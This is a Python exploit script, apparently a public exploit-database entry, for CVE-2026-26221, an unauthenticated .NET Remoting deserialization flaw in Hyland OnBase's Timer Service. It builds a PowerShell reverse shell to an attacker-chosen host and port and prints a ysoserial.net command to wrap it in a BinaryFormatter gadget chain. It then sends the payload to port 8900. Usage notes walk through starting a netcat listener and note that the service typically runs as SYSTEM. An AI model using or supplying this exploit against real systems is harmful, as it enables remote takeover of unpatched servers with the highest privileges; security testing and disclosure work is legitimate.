#!/usr/bin/env python3 # Exploit Title: Hyland OnBase Timer Service Unauthenticated .NET Remoting RCE # Exploit Author: Mohammed Idrees Banyamer # Vendor Homepage: https://www.hyland.com/en/solutions/products/onbase # Version: Multiple (affected versions prior to patched releases ~2025-2026) # Tested on: Windows Server with OnBase Timer Service # CVE: CVE-2026-26221 # Advisory: Hyland OB2025-03 / VulnCheck advisory # CVSS: 9.8 (Critical) # # Description: # Exploits unauthenticated .NET Remoting deserialization vulnerability in # Hyland OnBase Workflow/Workview Timer Service (port 8900) allowing remote # code execution via BinaryFormatter gadget chains. # # Usage: # python3 exploit.py --lhost --lport # # Examples: # python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444 # python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001 --endpoint TimerServiceEvents.rem # # Options: # target Target IP or hostname # --port Target port (default: 8900) # --endpoint Remoting endpoint (default: TimerServiceAPI.rem) # --lhost Listener IP (required) # --lport Listener port (required) # --gadget ysoserial gadget (default: TypeConfuseDelegate) # # Notes: # - Requires ysoserial.net[](https://github.com/pwntester/ysoserial.net) # - Start netcat listener before running: nc -lvnp # - Exploit is blind; success = reverse shell connection # - Service typically runs as SYSTEM → high-privilege shell # # How to Use # # Step 1: Start listener # nc -lvnp 4444 # # Step 2: Run the exploit # python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444 # # Step 3: When prompted, copy-paste and run the displayed ysoserial command # in a separate terminal (Windows or Wine/Mono), then press Enter # # Step 4: Wait for reverse shell (usually within seconds if vulnerable) import argparse import requests import sys import os from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def build_powershell_reverse_shell(lhost: str, lport: int) -> str: ps_command = ( f"$client = New-Object System.Net.Sockets.TCPClient('{lhost}',{lport});" f"$stream = $client.GetStream();" f"[byte[]]$bytes = 0..65535|%{{0}};" f"while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;" f"$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);" f"$sendback = (iex $data 2>&1 | Out-String );" f"$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';" f"$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);" f"$stream.Write($sendbyte,0,$sendbyte.Length);" f"$stream.Flush()}};" f"$client.Close()" ) return ps_command def print_ysoserial_command(cmd: str, gadget: str = "TypeConfuseDelegate"): ysoserial_cmd = ( f'ysoserial.exe -f BinaryFormatter -g {gadget} ' f'-c "powershell -nop -exec bypass -c \\"{cmd}\\"" ' f'-o raw > rev_shell.bin' ) print("\n" + "="*80) print("COPY & PASTE THIS COMMAND IN ANOTHER TERMINAL/WINDOW:") print(ysoserial_cmd) print("="*80) print("After it finishes (you should see rev_shell.bin created), press ENTER here...") def send_payload(target: str, port: int, endpoint: str, payload_path: str): url = f"http://{target}:{port}/{endpoint}" try: with open(payload_path, "rb") as f: payload = f.read() print(f"[+] Loaded {len(payload)} bytes BinaryFormatter payload") print(f"[+] Sending to {url}") headers = { "Content-Type": "application/octet-stream", "User-Agent": ".NET Remoting", "__RequestVerb": "POST", } r = requests.post( url, data=payload, headers=headers, timeout=25, allow_redirects=False, verify=False ) print(f"[+] HTTP Status: {r.status_code}") if r.status_code in (200, 500): print("[+] Payload accepted → Deserialization triggered!") print("[+] Check your netcat listener for SYSTEM reverse shell!") else: print(f"[!] Unexpected status code: {r.status_code}") print(r.text[:500] if r.text else "[no response body]") except Exception as e: print(f"[-] Error: {e}") def main(): parser = argparse.ArgumentParser(description="CVE-2026-26221 Hyland OnBase Timer Service RCE") parser.add_argument("target", help="Target IP or hostname") parser.add_argument("--port", type=int, default=8900, help="Target port (default: 8900)") parser.add_argument("--endpoint", default="TimerServiceAPI.rem", choices=["TimerServiceAPI.rem", "TimerServiceEvents.rem"], help="Remoting endpoint") parser.add_argument("--lhost", required=True, help="YOUR IP for reverse shell") parser.add_argument("--lport", type=int, required=True, help="YOUR listening port") parser.add_argument("--gadget", default="TypeConfuseDelegate", choices=["TypeConfuseDelegate", "TextFormattingRunProperties", "ObjectDataProvider"], help="ysoserial gadget") args = parser.parse_args() print(f"[+] Start your listener now: nc -lvnp {args.lport}") input("Press ENTER when listener is running...") ps_cmd = build_powershell_reverse_shell(args.lhost, args.lport) print_ysoserial_command(ps_cmd, args.gadget) input("\nAfter generating rev_shell.bin, press ENTER to continue...") if not os.path.exists("rev_shell.bin"): payload_path = input("Enter full path to payload file (rev_shell.bin): ").strip() else: payload_path = "rev_shell.bin" if not os.path.exists(payload_path): print("[-] Payload file not found!") sys.exit(1) send_payload(args.target, args.port, args.endpoint, payload_path) print("\n[+] Exploit finished.") print(" If no connection → try: --gadget TextFormattingRunProperties or --endpoint TimerServiceEvents.rem") if __name__ == "__main__": main()